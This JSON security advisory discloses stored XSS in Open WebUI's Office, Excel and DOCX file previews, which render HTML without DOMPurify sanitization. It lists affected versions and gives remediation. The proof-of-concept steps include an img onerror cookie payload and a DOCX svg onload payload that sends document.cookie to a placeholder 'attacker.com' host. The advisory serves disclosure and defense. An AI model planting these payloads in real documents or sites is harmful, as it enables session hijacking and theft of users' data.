{"id":"PYSEC-2026-2731","summary":"Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)","details":"## Related advisory\n\nThis advisory tracks a regression of the original Excel-preview XSS that was \npublicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) \n(patched in v0.8.0). The same root cause — `XLSX.utils.sheet_to_html()` output \nrendered via `{@html excelHtml}` without DOMPurify — was reintroduced sometime \nafter v0.8.0 and is exploitable again as of v0.8.12 and through the version \nrange listed above. This advisory additionally covers the related \n`fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` \n(lines 458 and 1285) which was not part of the jwf8 advisory's scope.\n\n## Summary\n\nOpen WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.\n\nThis is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.\n\n## Root Cause\n\n**The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`.\n\n**But 3 file-preview paths skip it**:\n\n### Occurrence 1: FilePreview.svelte — Office HTML\n\n**File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324\n\n```svelte\n{:else if fileOfficeHtml !== null}\n    \u003cdiv class=\"office-preview overflow-auto flex-1 min-h-0\"\u003e\n        {@html fileOfficeHtml}   \u003c!-- NO DOMPurify! --\u003e\n    \u003c/div\u003e\n```\n\n`fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.\n\n### Occurrence 2: FileItemModal.svelte — Excel HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 560\n\n```svelte\n{@html excelHtml}   \u003c!-- NO DOMPurify! --\u003e\n```\n\n`excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.\n\n### Occurrence 3: FileItemModal.svelte — DOCX HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 590\n\n```svelte\n{@html docxHtml}   \u003c!-- NO DOMPurify! --\u003e\n```\n\n`docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.\n\n## Contrast with Sanitized Paths\n\nFor comparison, the same codebase correctly sanitizes in other locations:\n\n```svelte\n\u003c!-- MarkdownInlineTokens.svelte:130 — SAFE --\u003e\n{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}\n\n\u003c!-- General.svelte:276 — SAFE --\u003e\n{@html DOMPurify.sanitize($config?.license_metadata?.html)}\n\n\u003c!-- Banner.svelte:103 — SAFE --\u003e\n{@html DOMPurify.sanitize(marked.parse(...))}\n```\n\n## Defense Propagation Gap\n\n| Metric | Value |\n|--------|-------|\n| Total `{@html}` usages | 23 |\n| With DOMPurify | 9 (39%) |\n| **Without DOMPurify** | **14 (61%)** |\n| Confirmed exploitable (file preview) | **3** |\n\nThe remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.\n\n## Tested Version\n\n- Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`)\n\n## Steps to Reproduce\n\n### PoC 1: Malicious Excel File\n\n1. Create a `.xlsx` file with a cell containing:\n   ```\n   \u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n   ```\n   (Using a library like openpyxl to inject raw HTML into cell values)\n\n2. Upload the file to Open WebUI via the chat file upload\n\n3. When any user previews the file → `excelHtml` renders the injected HTML → **XSS fires**\n\n### PoC 2: Malicious DOCX File\n\n1. Create a `.docx` file with embedded HTML:\n   ```xml\n   \u003cw:r\u003e\u003cw:t\u003e\u003c![CDATA[\u003csvg onload=\"fetch('https://attacker.com/steal?c='+document.cookie)\"\u003e]]\u003e\u003c/w:t\u003e\u003c/w:r\u003e\n   ```\n\n2. Upload to Open WebUI\n\n3. File preview renders `docxHtml` → **XSS fires**\n\n### PoC 3: Verify Rendering Path\n\n```javascript\n// In browser devtools on Open WebUI, after uploading a file:\n// The file preview component renders:\n//   FileItemModal → {@html excelHtml}  // no DOMPurify\n//   FileItemModal → {@html docxHtml}   // no DOMPurify\n//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify\n\n// Compare with safe path:\n//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!\n```\n\n## Impact\n\n- **Stored XSS** — malicious file is stored server-side, XSS fires for every user who previews it\n- **Session hijacking** via `document.cookie` theft\n- **Account takeover** — attacker can perform actions as the victim user\n- **Data exfiltration** — read chat history, API keys, uploaded documents\n- **Multi-user environments** — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)\n- **Defense propagation failure** — DOMPurify is available and used elsewhere, but not applied to file preview paths\n\n## Suggested Remediation\n\nApply DOMPurify to all three file preview paths:\n\n```svelte\n\u003c!-- FilePreview.svelte:324 — FIX --\u003e\n{@html DOMPurify.sanitize(fileOfficeHtml)}\n\n\u003c!-- FileItemModal.svelte:560 — FIX --\u003e\n{@html DOMPurify.sanitize(excelHtml)}\n\n\u003c!-- FileItemModal.svelte:590 — FIX --\u003e\n{@html DOMPurify.sanitize(docxHtml)}\n```\n\nAlternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag.\n\n## References\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)\n- OWASP XSS Prevention Cheat Sheet\n- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)","aliases":["CVE-2026-45318","GHSA-hcwp-82g6-8wxc"],"modified":"2026-07-13T16:32:20.741747060Z","published":"2026-07-13T15:19:06.231154Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45318"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.3"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hcwp-82g6-8wxc"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.3"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2731.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}]}